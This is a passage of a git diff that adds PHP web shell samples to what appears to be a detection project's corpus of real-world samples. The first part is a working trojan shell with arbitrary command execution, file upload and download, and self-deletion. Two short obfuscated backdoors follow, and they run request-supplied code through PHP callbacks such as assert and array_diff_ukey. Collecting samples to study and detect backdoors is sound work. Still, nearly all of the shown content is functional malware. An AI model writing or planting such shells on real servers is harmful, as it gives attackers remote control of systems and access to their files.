+# return JSON to the client
+header('content-type: application/json');
+
+# if `cmd` is a trojan payload, execute it
+if (function_exists($post['cmd'])) {
+    $post['cmd']($cwd, $post['args']);
+}
+
+# otherwise, execute a shell command
+else {
+    $output = [];
+
+    # execute the command
+    $cmd = "cd $cwd; {$post['cmd']} 2>&1; pwd";
+    exec($cmd, $output);
+    $cwd = array_pop($output);
+
+    $response = [
+        'stdout' => $output,
+        'stderr' => [],
+        'cwd'    => $cwd,
+    ];
+
+    die(json_encode($response));
+}
+
+
+# File-download payload
+function payload_download ($cwd, $args) {
+
+    # cd to the trojan's cwd 
+    chdir($cwd);
+
+    # open the file as binary, and base64-encode its contents
+    try {
+        $stdout = base64_encode(file_get_contents($args['file']));
+        $stderr = [];
+    }
+    
+    # notify the client on failure
+    catch (ErrorException $e) {
+        $stdout = [];
+        $stderr = [ 'Could not download file.', $e->getMessage() ];
+    }
+
+    die(json_encode([
+        'stdout' => $stdout,
+        'stderr' => $stderr,
+        'cwd'    => $cwd,
+    ]));
+}
+
+# File-upload payload
+function payload_upload ($cwd, $args) {
+
+    # cd to the trojan's cwd 
+    chdir($cwd);
+
+    # base64-decode the uploaded bytes, and write them to a file
+    try {
+        file_put_contents( $args['dst'], base64_decode($args['data']));
+        $stderr = [];
+        $stdout = [ "File saved to {$args['dst']}." ];
+    }
+    
+    # notify the client on failure
+    catch (ErrorException $e) {
+        $stdout = [];
+        $stderr = [ 'Could not save file.', $e->getMessage() ];
+    }
+
+    die(json_encode([
+        'stdout' => $stdout,
+        'stderr' => $stderr,
+        'cwd'    => $cwd,
+    ]));
+}
+
+# Trojan autodestruct
+function payload_autodestruct ($cwd, $args) {
+
+    # attempt to delete the trojan
+    try {
+
+        unlink(__FILE__);
+        $stdout = [ 'File ' . __FILE__ . ' has autodestructed.' ];
+        $stderr = [];
+    }
+    
+    # notify the client on failure
+    catch (ErrorException $e) {
+        $stdout = [];
+        $stderr = [ 'File ' . __FILE__ . ' could not autodestruct.'];
+    }
+
+    die(json_encode([
+        'stdout' => [ 'Instructed ' . __FILE__ . ' to autodestruct.' ],
+        'stderr' => [],
+        'cwd'    => $cwd,
+    ]));
+}
diff --git a/data/samples/real/srt.php b/data/samples/real/srt.php
new file mode 100644
index 0000000..ef02af2
--- /dev/null
+++ b/data/samples/real/srt.php
@@ -0,0 +1,5 @@
+<?php 
+ob_start(function ($c,$d){register_shutdown_function('assert',$c);}); 
+echo $_REQUEST['pass']; 
+ob_end_flush(); 
+?>
diff --git a/data/samples/real/sucuri_2014_04.php b/data/samples/real/sucuri_2014_04.php
new file mode 100644
index 0000000..64bfa07
--- /dev/null
+++ b/data/samples/real/sucuri_2014_04.php
@@ -0,0 +1,3 @@
+<?php
+/* https://blog.sucuri.net/2014/04/php-callback-functions-another-way-to-hide-backdoors.html */
+@array_diff_ukey(@array((string)$_REQUEST['password']=>1), @array((string)stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']);
-- 
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